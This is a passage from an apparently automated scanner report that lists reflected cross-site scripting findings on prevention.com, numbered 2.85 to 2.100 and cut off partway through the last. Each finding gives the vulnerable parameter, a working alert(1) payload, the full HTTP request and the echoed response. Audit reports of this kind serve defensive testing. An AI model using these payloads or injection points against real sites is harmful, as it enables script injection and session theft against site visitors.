<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<script>alert(1)</script>70532fedd4-header-refreshAdTag-false Generated at Thu Mar 10 12:04:52 EST 2011-->
...[SNIP]...

2.85. http://www.prevention.com/cda/newslettersignup.do [source parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/newslettersignup.do

Issue detail

The value of the source request parameter is copied into an HTML comment. The payload c4211--><script>alert(1)</script>d23ccfe71a8 was submitted in the source parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/newslettersignup.do?source=PVN-Footer-MAINc4211--><script>alert(1)</script>d23ccfe71a8 HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000PXjWsJfDXDY5jYQdUo7qcFe:145vrsjho; Path=/
Content-Length: 69588

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<t
...[SNIP]...
<script>alert(1)</script>d23ccfe71a8 Generated at Thu Mar 10 12:04:51 EST 2011-->
...[SNIP]...

2.86. http://www.prevention.com/cda/newslettersignup.do [source parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/newslettersignup.do

Issue detail

The value of the source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3854e"><script>alert(1)</script>0b8c471daec was submitted in the source parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/newslettersignup.do?source=PVN-Footer-MAIN3854e"><script>alert(1)</script>0b8c471daec HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000oI6o8qaOUdzyvOIEKZxQ4YI:145vrsjho; Path=/
Content-Length: 69580

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<t
...[SNIP]...
<input type="hidden" name="currentSource" value="PVN-Footer-MAIN3854e"><script>alert(1)</script>0b8c471daec"/>
...[SNIP]...

2.87. http://www.prevention.com/cda/toolfinder.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/toolfinder.do

Issue detail

The value of the channel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c782"><script>alert(1)</script>21167d254ad was submitted in the channel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/toolfinder.do?tf_type=bmi_calculator&channel=health7c782"><script>alert(1)</script>21167d254ad HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1799
Date: Thu, 10 Mar 2011 17:04:56 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 66194

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

...[SNIP]...
<A HREF="http://ad.doubleclick.net/jump/prevention/health7c782"><script>alert(1)</script>21167d254ad;topic=toolsfinders;sbtpc=bmicalculator;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=123456?" TARGET="_blank">
...[SNIP]...

2.88. http://www.prevention.com/cda/toolfinder.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/toolfinder.do

Issue detail

The value of the channel request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 32b19'%3balert(1)//ce148ec1e37 was submitted in the channel parameter. This input was echoed as 32b19';alert(1)//ce148ec1e37 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/toolfinder.do?tf_type=bmi_calculator&channel=health32b19'%3balert(1)//ce148ec1e37 HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 17:05:00 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 65883

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

...[SNIP]...
<scri' + 'pt type="text/javascript" language="JavaScript" src="http://ad.doubleclick.net/adj/' + siteName + '/health32b19';alert(1)//ce148ec1e37;' + rasegs + ';topic=' + topic + ';sbtpc=' + sbtpc + ';cat=' + cat + ';kw=;tile=' + tile++ + ';slot=728x90.1;sz=728x90;dcopt=ist;ord=' + ord + '?" type="text/javascript">
...[SNIP]...

2.89. http://www.prevention.com/cda/toolfinder.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/toolfinder.do

Issue detail

The value of the channel request parameter is copied into an HTML comment. The payload f1f7c--><script>alert(1)</script>2181276a0fa was submitted in the channel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/toolfinder.do?tf_type=bmi_calculator&channel=healthf1f7c--><script>alert(1)</script>2181276a0fa HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 17:05:03 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 66215

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

...[SNIP]...
<script>alert(1)</script>2181276a0fa-header-refreshAdTag-false Generated at Thu Mar 10 12:05:03 EST 2011-->
...[SNIP]...

2.90. http://www.prevention.com/cda/toolfinder.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/toolfinder.do

Issue detail

The value of the channel request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload bc398'><script>alert(1)</script>3b6cfed1002 was submitted in the channel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/toolfinder.do?tf_type=bmi_calculator&channel=healthbc398'><script>alert(1)</script>3b6cfed1002 HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1799
Date: Thu, 10 Mar 2011 17:04:58 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 66194

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

...[SNIP]...
<input type='hidden' id='category_core' value='Healthbc398'><script>alert(1)</script>3b6cfed1002-BMI Calculator Tool'>
...[SNIP]...

2.91. http://www.prevention.com/cda/toolfinder.do [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/toolfinder.do

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eba4c"><script>alert(1)</script>dcc32349675 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/toolfinder.do?eba4c"><script>alert(1)</script>dcc32349675=1 HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 17:04:41 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 60445

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

...[SNIP]...
<input type="hidden" name="link" value="http://www.prevention.com/cda/toolfinder.do?eba4c"><script>alert(1)</script>dcc32349675=1">
...[SNIP]...

2.92. http://www.prevention.com/cda/toolfinder.do [tf_type parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/toolfinder.do

Issue detail

The value of the tf_type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ffa48"><script>alert(1)</script>450cfb1292c was submitted in the tf_type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/toolfinder.do?tf_type=bmi_calculatorffa48"><script>alert(1)</script>450cfb1292c&channel=health HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 17:04:47 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 68323

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

...[SNIP]...
<A HREF="http://ad.doubleclick.net/jump/prevention/health;topic=toolsfinders;sbtpc=bmicalculatorffa48"><script>alert(1)</script>450cfb1292c;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=123456?" TARGET="_blank">
...[SNIP]...

2.93. http://www.prevention.com/cda/toolfinder.do [tf_type parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/toolfinder.do

Issue detail

The value of the tf_type request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a9cb4</script><script>alert(1)</script>188bcef6d60 was submitted in the tf_type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/toolfinder.do?tf_type=bmi_calculatora9cb4</script><script>alert(1)</script>188bcef6d60&channel=health HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1800
Date: Thu, 10 Mar 2011 17:04:52 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 68628

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

...[SNIP]...
rom non-JavaScript browsers
       var ord=Math.random()*10000000000000000;
       var tile= 1;
       var num = ord + "?";


           var topic= "toolsfinders";


                           var sbtpc= "bmicalculatora9cb4</script><script>alert(1)</script>188bcef6d60";


                           var cat= "";


       var    querystring = location.search.substring(1);
       var querystringArray = querystring.split("&");
       var siteParam = 'prevention';
       var testPar
...[SNIP]...

2.94. http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f3fea'style%3d'x%3aexpression(alert(1))'9d40cdf2b5c was submitted in the REST URL parameter 3. This input was echoed as f3fea'style='x:expression(alert(1))'9d40cdf2b5c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/cook/everyday-recipesf3fea'style%3d'x%3aexpression(alert(1))'9d40cdf2b5c/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:06:15 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 86095

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<input type='hidden' id='category_core' value='Cook-Everyday Recipesf3fea'style='x:expression(alert(1))'9d40cdf2b5c'>
...[SNIP]...

2.95. http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8a938'%3b9442c45c8e was submitted in the REST URL parameter 3. This input was echoed as 8a938';9442c45c8e in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/cook/everyday-recipes8a938'%3b9442c45c8e/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:07:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 90132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/cook/everyday-recipes8a938';9442c45c8e/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.96. http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77598'%3bcbbca8dfe77 was submitted in the REST URL parameter 4. This input was echoed as 77598';cbbca8dfe77 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple77598'%3bcbbca8dfe77/article/9a9b65680a90e210VgnVCM10000030281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:07:35 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 87337

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple77598';cbbca8dfe77/article/9a9b65680a90e210VgnVCM10000030281eac____&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.97. http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b3a68'style%3d'x%3aexpression(alert(1))'8aefa16a7c1 was submitted in the REST URL parameter 5. This input was echoed as b3a68'style='x:expression(alert(1))'8aefa16a7c1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/articleb3a68'style%3d'x%3aexpression(alert(1))'8aefa16a7c1/9a9b65680a90e210VgnVCM10000030281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1793
Date: Thu, 10 Mar 2011 17:08:37 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 72535

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='Cook-Everyday Recipes-Healthy Recipes Quick And Easy Ways To Use Pineapple-Articleb3a68'style='x:expression(alert(1))'8aefa16a7c1'>
...[SNIP]...

2.98. http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8b5a2'%3bad663f93c42 was submitted in the REST URL parameter 6. This input was echoed as 8b5a2';ad663f93c42 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____8b5a2'%3bad663f93c42 HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:10:08 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 87373

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____8b5a2';ad663f93c42&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.99. http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9b1b4'%3b959f1b413af was submitted in the REST URL parameter 3. This input was echoed as 9b1b4';959f1b413af in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/fitness/belly-abs9b1b4'%3b959f1b413af/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:07:20 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 91724

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/fitness/belly-abs9b1b4';959f1b413af/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.100. http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 3c65c'style%3d'x%3aexpression(alert(1))'bc3f9e30175 was submitted in the REST URL parameter 3. This input was echoed as 3c65c'style='x:expression(alert(1))'bc3f9e30175 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/fitness/belly-abs3c65c'style%3d'x%3aexpression(alert(1))'bc3f9e30175/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:06:24 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 94647

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
